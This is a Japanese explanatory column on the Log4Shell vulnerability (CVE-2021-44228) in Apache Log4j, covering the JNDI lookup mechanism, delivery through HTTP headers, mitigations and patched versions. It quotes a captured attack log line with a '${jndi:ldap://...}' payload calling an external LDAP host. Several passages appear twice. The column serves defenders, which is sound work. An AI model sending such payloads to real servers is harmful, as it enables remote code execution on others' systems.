Apache Log4jの脆弱性って何？
（仕組み・リスク・対策について）
2021年12月9日より、Apache Log4jの脆弱性が影響度の大きさから問題になっています。
本コラムでは、現時点で知り得る情報にもとづいて、問題の概要を分かりやすくお伝えしたいと思います。
※本脆弱性については、進行形で状況が変化しています。JPCERT/CCやIPAなど信頼できる情報源からの最新情報を確認してください。
本コラムでは、現時点で知り得る情報にもとづいて、問題の概要を分かりやすくお伝えしたいと思います。
※本脆弱性については、進行形で状況が変化しています。JPCERT/CCやIPAなど信頼できる情報源からの最新情報を確認してください。
Log4jについて
Log4jは、プログラミング言語Javaを使用したアプリケーションで、様々なログ（アクセスや操作、通信などの履歴）を管理するためのオープンソースのパッケージで、Webサイトのアプリケーションを中心に、広く使用されています。Apache WebサーバやTomcat アプリケーションサーバなどで有名な米国の非営利財団が提供、保守を行っており、様々な形式のログ出力機能をサポートしていて、開発者にとっては便利なツールです。
このパッケージが提供する機能の一つに、JNDIルックアップと呼ばれる機能があります。これは、アプリケーションから渡されたログデータを整形して出力する際に、特定のキーワードをディレクトリ（LDAPサーバ）で検索し、その結果で置き換える機能などがあります。たとえば、エラーコードなどを対応する別の文字列に置き換える目的でも使用できます。今回、この機能に脆弱性が発見されました。
どのような脆弱性か
どのような脆弱性かを簡単に説明すると、与えるログデータを外部からの入力データにより加工することで、例えば、この機能に使用するLDAPサーバを攻撃者が用意した別のサーバに変更できてしまうことを悪用するというものです。
※本脆弱性には、複数の攻撃方法がありますが、本コラムではひとつの例を挙げて説明します。
※本脆弱性には、複数の攻撃方法がありますが、本コラムではひとつの例を挙げて説明します。
本来、使用するLDAPサーバをログ文字列側から操作できてはいけないのですが、それが出来てしまったことが最大の問題と言えます。LDAPの検索結果が、シリアライズ（複数の要素を一列に並べる操作や処理）されたJavaクラス、つまりjavaで書かれたプログラムであった場合、Log4jはそれを読み込んで実行してしまいます。もし、何者かが悪意を持ってログデータにこうした置き換え指示をまぎれこますことができれば、Log4jにインターネットを経由して自分のLDAPサーバにアクセスさせ、不正なJavaクラスを読み込ませることができてしまいます。これにより、攻撃者が意図する処理をサーバに実行させる可能性が生じるのです。この脆弱性が、遠隔コード実行（Remote Code Execution: RCE）脆弱性と呼ばれるのは、これが理由です。
攻撃の実現性について
では、そんな攻撃が現実に可能なのでしょうか。多くのWebアプリケーションは、Webサーバを経由して様々な環境情報を受け取ります。それらの中には、ユーザがアクセスした際に、ブラウザから渡されるものが含まれます。これは、URLそのものだったり、ブラウザの種別情報、いわゆるユーザエージェント情報や、リファラと呼ばれるリンク元のURLだったりします。これらのデータやその一部がLog4jを経由してログファイルに出力するようなアプリケーションは多く存在します。つまり、ブラウザのふりをして、加工された情報をサーバに渡すことは難しくありません。
とりわけURLに含まれるパスなどは、ブラウザを使って手書きでも加工できてしまいます。他の情報も、たとえばブラウザのふりをするプログラムを作ったり、脆弱性検査などで使用するプロキシツールを使ったりしてデータを書き換えることで加工することができます。
実際の攻撃と思われるログ
実際、JPCERT/CCなどでも報告されているように、既に多くのWebサーバに対して、こうした手法を試みる攻撃が発生しているのです。
以下は、あるWebサーバのログに記録された攻撃の様子です。
157.xx.yy.190 - - [15/Dec/2021:09:42:08 +0900] "GET / HTTP/1.1" 200 16384 "-" ${jndi:ldap://xxx.55.xx.26/2012579635/C}"
このケースでは、ユーザエージェント情報として攻撃コードが渡されています。
もし、こうした攻撃を受けたサーバ上のアプリケーションがLog4jにデータを渡していると、脆弱性への攻撃が成功してしまう可能性があり、非常に危険です。これが、問題が発生する一例になります。
以下は、あるWebサーバのログに記録された攻撃の様子です。
157.xx.yy.190 - - [15/Dec/2021:09:42:08 +0900] "GET / HTTP/1.1" 200 16384 "-" ${jndi:ldap://xxx.55.xx.26/2012579635/C}"
このケースでは、ユーザエージェント情報として攻撃コードが渡されています。
もし、こうした攻撃を受けたサーバ上のアプリケーションがLog4jにデータを渡していると、脆弱性への攻撃が成功してしまう可能性があり、非常に危険です。これが、問題が発生する一例になります。
対策について
最も確実な対策は、Log4jを修正が行われた最新版に置き換えることですが、システム構成を正確に把握して、リスクに応じて対応方針を検討する必要があります。回避策やインフラの設定により問題を緩和する策を施すことも検討します。
緩和策の考え方の例としては、Log4jが外部のサーバに対しての通信を行う事を防止することで、攻撃の影響を緩和することがあります。攻撃自体はアプリケーションに影響を与えますが、外部のサーバへの通信が妨害できれば、不正なコードを読み込ませることが難しくなります。従って、こうしたサーバからインターネットに向けた通信は原則禁止として、本当に必要な相手に対してのみ限定して許可するようにすれば、リスクを低減することができます。
既に攻撃が始まっています。影響の有無を含めて、早急に確認、対応する必要があります。
参考1：JPCERT 注意喚起情報
https://www.jpcert.or.jp/at/2021/at210050.html
参考2：Japan Vulnerability Notes JVNVU#96768815
https://jvn.jp/vu/JVNVU96768815/
参考3： Apache Log4j プロジェクト
https://logging.apache.org/log4j/2.x/
参考4：CVE-2021-44228 Detail
https://nvd.nist.gov/vuln/detail/CVE-2021-44228
参考5：piyolog Log4jの深刻な脆弱性CVE-2021-44228についてまとめてみた
https://piyolog.hatenadiary.jp/entry/2021/12/13/045541
参考6：LunaSec Log4Shell: RCE 0-day exploit found in log4j2, a popular Java logging package
https://www.lunasec.io/docs/blog/log4j-zero-day/
参考7：Zero-Day Exploit Targeting Popular Java Library Log4j
https://www.govcert.admin.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/
緩和策の考え方の例としては、Log4jが外部のサーバに対しての通信を行う事を防止することで、攻撃の影響を緩和することがあります。攻撃自体はアプリケーションに影響を与えますが、外部のサーバへの通信が妨害できれば、不正なコードを読み込ませることが難しくなります。従って、こうしたサーバからインターネットに向けた通信は原則禁止として、本当に必要な相手に対してのみ限定して許可するようにすれば、リスクを低減することができます。
既に攻撃が始まっています。影響の有無を含めて、早急に確認、対応する必要があります。
参考1：JPCERT 注意喚起情報
https://www.jpcert.or.jp/at/2021/at210050.html
参考2：Japan Vulnerability Notes JVNVU#96768815
https://jvn.jp/vu/JVNVU96768815/
参考3： Apache Log4j プロジェクト
https://logging.apache.org/log4j/2.x/
参考4：CVE-2021-44228 Detail
https://nvd.nist.gov/vuln/detail/CVE-2021-44228
参考5：piyolog Log4jの深刻な脆弱性CVE-2021-44228についてまとめてみた
https://piyolog.hatenadiary.jp/entry/2021/12/13/045541
参考6：LunaSec Log4Shell: RCE 0-day exploit found in log4j2, a popular Java logging package
https://www.lunasec.io/docs/blog/log4j-zero-day/
参考7：Zero-Day Exploit Targeting Popular Java Library Log4j
https://www.govcert.admin.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/
注：修正版のバージョン
2.16.0 （Java8以降のバージョン向けの最新版）
2.12.2 （Java7向け）
当初、修正版としてリリースされた2.15.0は、特定の条件下でサービス妨害攻撃が可能であることが判明したため、2.16.0に更新されました。2.16.0では2.15.0でデフォルト無効とされたMessage Lookupと呼ばれるログデータ内で参照先が指定できる機能が完全に削除され、さらにLDAPによるルックアップは（JNDIと呼ばれるインターフェイス）デフォルトで無効化しています。
なお、バージョン1系列に関しては、今回の脆弱性（CVE-2021-44228）について、少なくとも遠隔攻撃は不可能であることが確認されています。回避策や緩和策を組み合わせることを含めリスクに応じて対応方針を検討する必要があります。
※2021年12月16日17時26分 一部内容の修正を行いました。
2.12.2 （Java7向け）
当初、修正版としてリリースされた2.15.0は、特定の条件下でサービス妨害攻撃が可能であることが判明したため、2.16.0に更新されました。2.16.0では2.15.0でデフォルト無効とされたMessage Lookupと呼ばれるログデータ内で参照先が指定できる機能が完全に削除され、さらにLDAPによるルックアップは（JNDIと呼ばれるインターフェイス）デフォルトで無効化しています。
なお、バージョン1系列に関しては、今回の脆弱性（CVE-2021-44228）について、少なくとも遠隔攻撃は不可能であることが確認されています。回避策や緩和策を組み合わせることを含めリスクに応じて対応方針を検討する必要があります。
※2021年12月16日17時26分 一部内容の修正を行いました。
